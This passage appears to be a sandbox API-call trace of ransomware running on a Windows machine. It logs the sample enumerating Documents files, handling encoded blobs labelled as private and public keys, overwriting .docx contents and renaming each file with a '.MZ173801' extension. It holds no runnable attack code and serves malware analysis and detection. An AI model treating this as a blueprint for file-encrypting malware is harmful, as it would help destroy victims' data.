"c:\\users\\fd1hvy\\documents\\eh9nfqob33zysx1ooih.docx")) returned 0x20 [0168.018] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx", dwFileAttributes=0x80) returned 1 [0168.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.022] GetCurrentThreadId () returned 0xab4 [0168.022] GetCurrentThreadId () returned 0xab4 [0168.022] GetCurrentThreadId () returned 0xab4 [0168.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.023] GetCurrentThreadId () returned 0xab4 [0168.023] GetCurrentThreadId () returned 0xab4 [0168.023] GetCurrentThreadId () returned 0xab4 [0168.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx" (normalized: "c:\\users\\fd1hvy\\documents\\eh9nfqob33zysx1ooih.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.023] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.023] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.024] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xb853 [0168.024] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.024] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xb853, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xb853, lpOverlapped=0x0) returned 1 [0168.025] CloseHandle (hObject=0x278) returned 1 [0168.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx" (normalized: "c:\\users\\fd1hvy\\documents\\eh9nfqob33zysx1ooih.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.028] WriteFile (in: hFile=0x278, lpBuffer=0x24ac040*, nNumberOfBytesToWrite=0xb853, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ac040*, lpNumberOfBytesWritten=0x19fa24*=0xb853, lpOverlapped=0x0) returned 1 [0168.030] CloseHandle (hObject=0x278) returned 1 [0168.114] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx" (normalized: "c:\\users\\fd1hvy\\documents\\eh9nfqob33zysx1ooih.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\eh9nfqob33zysx1ooih.docx.mz173801")) returned 1 [0168.116] GetCurrentThreadId () returned 0xab4 [0168.116] GetCurrentThreadId () returned 0xab4 [0168.116] GetCurrentThreadId () returned 0xab4 [0168.116] GetCurrentThreadId () returned 0xab4 [0168.116] GetCurrentThreadId () returned 0xab4 [0168.116] GetCurrentThreadId () returned 0xab4 [0168.116] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d0983e0, ftCreationTime.dwHighDateTime=0x1d59cc6, ftLastAccessTime.dwLowDateTime=0x3350fda0, ftLastAccessTime.dwHighDateTime=0x1d59409, ftLastWriteTime.dwLowDateTime=0x3350fda0, ftLastWriteTime.dwHighDateTime=0x1d59409, nFileSizeHigh=0x0, nFileSizeLow=0x18472, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fMxk2fHJ.pptx", cAlternateFileName="FMXK2F~1.PPT")) returned 1 [0168.116] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.116] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.116] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fmxk2fhj.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d0983e0, ftCreationTime.dwHighDateTime=0x1d59cc6, ftLastAccessTime.dwLowDateTime=0x3350fda0, ftLastAccessTime.dwHighDateTime=0x1d59409, ftLastWriteTime.dwLowDateTime=0x3350fda0, ftLastWriteTime.dwHighDateTime=0x1d59409, nFileSizeHigh=0x0, nFileSizeLow=0x18472)) returned 1 [0168.116] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fmxk2fhj.pptx")) returned 0x20 [0168.116] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx", dwFileAttributes=0x80) returned 1 [0168.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 